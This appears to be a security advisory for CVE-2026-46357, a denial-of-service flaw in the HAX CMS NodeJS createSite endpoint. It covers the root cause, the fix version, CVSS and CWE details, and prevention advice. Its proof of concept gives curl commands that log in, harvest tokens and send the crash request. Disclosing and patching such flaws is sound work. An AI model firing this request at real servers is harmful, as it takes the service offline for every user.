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GHSA-9r33-xhw8-4qqp CVE-2026-46357

HAX CMS: Denial of Service using Malicious Import Request

Medium npm
Severity
6.5 / 10
Medium · CVSS 3.1
Exploit chance (EPSS)
0.24%
Chance of exploitation in the next 30 days. Higher than 15.09% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-20 Improper Input Validation
CWE-476 NULL Pointer Dereference
Fix
26.0.0
Upgrade @haxtheweb/haxcms-nodejs to this version or later

Description

Summary

The HAX CMS NodeJS application crashes when an authenticated attacker sends a specially crafted site creation request to the createSite endpoint. A single request is sufficient to take the entire application offline, requiring a manual server restart to restore service.

Details

The createSite remote import flow does not complete end-to-end. Instead, the server crashes before the outbound HTTP fetch happens.

The crash occurs because createSite passes a file object without originalname, while HAXCMSFile.save() immediately dereferences tmpFile.originalname.replace(...).

As a result:

  • the request reaches privileged code inside createSite
  • the server hits the remote file handling path
  • the process crashes before downloadAndSaveFile() performs the outbound request
  • no imported file is written into the site directory

Affected Resources

  • src/routes/createSite.js:176
  • src/lib/HAXCMSFile.js:25
  • system/api/createSite

PoC

  1. Obtain a JWT by logging in with valid credentials.
JWT=$(curl -s -X POST 'http://127.0.0.1:3000/system/api/login' \
  -H 'Content-Type: application/json' \
  -d '{"username":"admin","password":"admin"}' | grep -o '"jwt":"[^"]*"' | head -1 | cut -d'"' -f4)
  1. Extract the required tokens from the connectionSettings endpoint.
SETTINGS=$(curl -s 'http://127.0.0.1:3000/system/api/connectionSettings')
ROOT_TOKEN=$(printf '%s' "$SETTINGS" | grep -o '"token":"[^"]*"' | head -1 | cut -d'"' -f4)
USER_TOKEN=$(printf '%s' "$SETTINGS" | grep -o 'createSite[^"]*' | grep -o 'user_token=[^"&]*' | cut -d'=' -f2)
  1. Send the malformed request to crash the server.
curl -i -X POST "http://127.0.0.1:3000/system/api/createSite?user_token=$USER_TOKEN&jwt=$JWT" \
  -H 'Content-Type: application/json' \
  -d "{
    \"token\": \"$ROOT_TOKEN\",
    \"site\": { \"name\": \"dos-poc\" },
    \"theme\": {},
    \"build\": {
      \"structure\": \"import\",
      \"type\": \"import\",
      \"items\": [],
      \"files\": {
        \"files/poc.txt\": \"http://127.0.0.1:8888/poc.txt\"
      }
    }
  }"

<img width="953" height="433" alt="Empty-Reply" src="https://github.com/user-attachments/assets/f3562726-2e64-4af6-a06c-8356dc7708da" />

The curl client receives an empty reply as the server crashes mid-request. The Node.js process terminates immediately with TypeError: Cannot read properties of undefined (reading 'replace') and nodemon reports the application as crashed.

<img width="950" height="278" alt="crash-detail" src="https://github.com/user-attachments/assets/1fbc80fb-4c2d-4bc6-af29-c3e9c45e8ad1" />

Impact

An authenticated attacker can crash the HAX CMS NodeJS process with a single HTTP request, making the application unavailable to all users until the server is manually restarted. Since HAX CMS allows account registration, an attacker does not need to compromise existing credentials; they can create their own account and immediately use it to trigger the crash.

Affected versions

npm

PackageVulnerableFixed in
@haxtheweb/haxcms-nodejs
< 26.0.0
26.0.0

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

@haxtheweb/haxcms-nodejs npm → 26.0.0

npm
npm install @haxtheweb/haxcms-nodejs@26.0.0
yarn
yarn add @haxtheweb/haxcms-nodejs@26.0.0
pnpm
pnpm add @haxtheweb/haxcms-nodejs@26.0.0

Severity breakdown

CVSS 3.1 6.5

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

Weakness

CWE-20: Improper Input Validation

The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.

How to prevent it
  • Architecture and Design: Consider using language-theoretic security (LangSec) techniques that characterize inputs using a formal language and build "recognizers" for that language. This effectively requires parsing to be a distinct layer that effectively enforces a boundary between raw input and internal data representations, instead of allowing parser code to be scattered throughout the program, where it could be subject to errors or inconsistencies that create weaknesses. [REF-1109] [REF-1110] [REF-1111]
  • Architecture and Design: Use an input validation framework such as Struts or the OWASP ESAPI Validation API. Note that using a framework does not automatically address all input validation problems; be mindful of weaknesses that could arise from misusing the framework itself (CWE-1173).
  • Architecture and Design, Implementation: Understand all the potential areas where untrusted inputs can enter the product, including but not limited to: parameters or arguments, cookies, anything read from the network, environment variables, reverse DNS lookups, query results, request headers, URL components, e-mail, files, filenames, databases, and any external systems that provide data to the application. Remember that such inputs may be obtained indirectly through API calls.
  • Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
  • Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server. Even though client-side checks provide minimal benefits with respect to server-side security, they are still useful. First, they can support intrusion detection. If the server receives input that should have been rejected by the client, then it may be an indication of an attack. Second, client-side error-checking can provide helpful feedback to the user about the expectations for valid input. Third, there may be a reduction in server-side processing time for accidental input errors, although this is typically a small savings.
  • Implementation: When your application combines data from multiple sources, perform the validation after the sources have been combined. The individual data elements may pass the validation step but violate the intended restrictions after they have been combined.
  • Implementation: Be especially careful to validate all input when invoking code that crosses language boundaries, such as from an interpreted language to native code. This could create an unexpected interaction between the language boundaries. Ensure that you are not violating any of the expectations of the language with which you are interfacing. For example, even though Java may not be susceptible to buffer overflows, providing a large argument in a call to native code might trigger an overflow.
  • Implementation: Directly convert your input type into the expected data type, such as using a conversion function that translates a string into a number. After converting to the expected data type, ensure that the input's values fall within the expected range of allowable values and that multi-field consistencies are maintained.
  • Implementation: Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180, CWE-181). Make sure that your application does not inadvertently decode the same input twice (CWE-174). Such errors could be used to bypass allowlist schemes by introducing dangerous inputs after they have been checked. Use libraries such as the OWASP ESAPI Canonicalization control. Consider performing repeated canonicalization until your input does not change any more. This will avoid double-decoding and similar scenarios, but it might inadvertently modify inputs that are allowed to contain properly-encoded dangerous content.
  • Implementation: When exchanging data between components, ensure that both components are using the same character encoding. Ensure that the proper encoding is applied at each interface. Explicitly set the encoding you are using whenever the protocol allows you to do so.

CWE-476: NULL Pointer Dereference

The product dereferences a pointer that it expects to be valid but is NULL.

How to prevent it
  • Implementation: For any pointers that could have been modified or provided from a function that can return NULL, check the pointer for NULL before use. When working with a multithreaded or otherwise asynchronous environment, ensure that proper locking APIs are used to lock before the check, and unlock when it has finished [REF-1484].
  • Requirements: Select a programming language that is not susceptible to these issues.
  • Implementation: Check the results of all functions that return a value and verify that the value is non-null before acting upon it.
  • Architecture and Design: Identify all variables and data stores that receive information from external sources, and apply input validation to make sure that they are only initialized to expected values.
  • Implementation: Explicitly initialize all variables and other data stores, either during declaration or just before the first usage.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-g2g8-95qg-v35h
HaxCMS has a stored Cross-Site Scripting (XSS) bypass in its saveNode endpoint
High Also affects @haxtheweb/haxcms-nodejs
GHSA-x3x5-7h4h-gwxg
HAXcms: Mass Token Exfiltration and Cross-Tenant Hijack
High Also affects @haxtheweb/haxcms-nodejs
GHSA-jh3h-rpxg-fr36
Stored XSS via <iframe> in HAX CMS allows access to sensitive client-side data and account takeover
High Also affects @haxtheweb/haxcms-nodejs
GHSA-6c8g-9hfh-pq5h
HAXcms: Private Key Disclosure via Broken HMAC Implementation
Critical Also affects @haxtheweb/haxcms-nodejs
GHSA-2m6p-hm3w-6jm3
HAX CMS: Stored XSS via '<video-player>' component allows arbitrary JavaScript execution and token theft
Medium Also affects @haxtheweb/haxcms-nodejs
GHSA-q862-gcgq-5m6g
HAXcms createSite SSRF Enables Arbitrary File Read
High Also affects @haxtheweb/haxcms-nodejs
GHSA-3fm2-xfq7-7778
HAXcms Has Stored XSS Vulnerability that May Lead to Account Takeover
Medium Also affects @haxtheweb/haxcms-nodejs
GHSA-9jr9-8ff3-m894
HAX CMS API Lacks Authorization Checks
High Also affects @haxtheweb/haxcms-nodejs
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